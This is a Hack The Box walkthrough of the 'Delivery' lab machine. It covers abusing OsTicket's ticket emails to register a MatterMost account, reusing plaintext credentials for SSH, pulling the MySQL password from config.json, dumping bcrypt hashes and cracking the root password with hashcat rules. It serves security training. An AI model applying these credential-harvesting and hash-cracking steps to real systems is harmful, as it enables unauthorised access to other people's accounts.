Delivery - Hack The Box

Delivery is a quick and fun easy box where we have to create a MatterMost account and validate it by using automatic email accounts created by the OsTicket application. The admins on this platform have very poor security practices and put plaintext credentials in MatterMost. Once we get the initial shell with the creds from MatterMost we’ll poke around MySQL and get a root password bcrypt hash. Using a hint left in the MatterMost channel about the password being a variation of PleaseSubscribe!, we’ll use hashcat combined with rules to crack the password then get the root shell.


Nmap scan report for
Host is up (0.018s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self'
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sun, 09 May 2021 00:00:02 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: fqrpd5m3ftgnzmxkbieezqadxo
|     X-Version-Id:
|     Date: Sun, 09 May 2021 00:01:31 GMT
|     <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sun, 09 May 2021 00:01:31 GMT
|_    Content-Length: 0


The Delivery website is pretty basic, there’s a link to a vhost called and a contact us section. We’ll add this entry to our local host before proceeding further.

The contact us section tells us we need an @delivery.htb email address and tells us port 8065 is a MatterMost server. MatterMost is a Slack-like collaboration platform that can be self-hosted.

Browsing to port 8065 we get the MatterMost login page but we don’t have credentials yet


The Helpdesk page uses the OsTicket web application. It allows users to create and view the status of ticket.

We can still open new tickets even if we only have a guest user.

After a ticket has been created, the system generates a random @delivery.htb email account with the ticket ID.

Now that we have an email account we can create a MatterMost account.

A confirmation email is then sent to our ticket status inbox.

We use the check ticket function on the OsTicket application and submit the original email address we used when creating the ticket and the ticket ID.

We’re now logged in and we see that the MatterMost confirmation email has been added to the ticket information.

To confirm the creation of our account we’ll just copy/paste the included link into a browser new tab.

After logging in to MatterMost we have access to the Internal channel where we see that credentials have been posted. There’s also a hint that we’ll have to use a variation of the PleaseSubscribe! password later.

User shell

With the maildeliverer / Youve_G0t_Mail! credentials we can SSH in and get the user flag.

Credentials in MySQL database

After doing some recon we find the MatterMost installation directory in /opt/mattermost:

maildeliverer@Delivery:/opt/mattermost/config$ ps waux | grep -i mattermost
matterm+   741  0.2  3.3 1649596 135112 ?      Ssl  20:00   0:07 /opt/mattermost/bin/mattermost

The config.json file contains the password for the MySQL database:

"SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",

We’ll connect to the database server and poke around.

maildeliverer@Delivery:/$ mysql -u mmuser --password='Crack_The_MM_Admin_PW'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 91
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
| Database           |
| information_schema |
| mattermost         |

MatterMost user accounts are stored in the Users table and hashed with bcrypt. We’ll save the hashes then try to crack them offline.

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> select Username,Password from Users;
| Username                         | Password                                                     |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| snowscan                         | $2a$10$spHk8ZGr54VWf4kNER/IReO.I63YH9d7WaYp9wjiRswDMR.P/Q9aa |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
8 rows in set (0.002 sec)

Cracking with rules

There was a hint earlier that some variation of PleaseSubscribe! is used.

I’ll use hashcat for this and since I don’t know the hash ID for bcrypt by heart I can find it in the help.

C:\bin\hashcat>hashcat --help | findstr bcrypt
   3200 | bcrypt $2*$, Blowfish (Unix)                     | Operating System

My go-to rules is normally one of those two ruleset:

These will perform all sort of transformations on the wordlist and we can quickly crack the password: PleaseSubscribe!21

C:\bin\hashcat>hashcat -a 0 -m 3200 -w 3 -O -r rules\_NSAKEY.v2.dive.rule hash.txt wordlist.txt

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)

The root password from MatterMost is the same as the local root password so we can just su to root and get the system flag.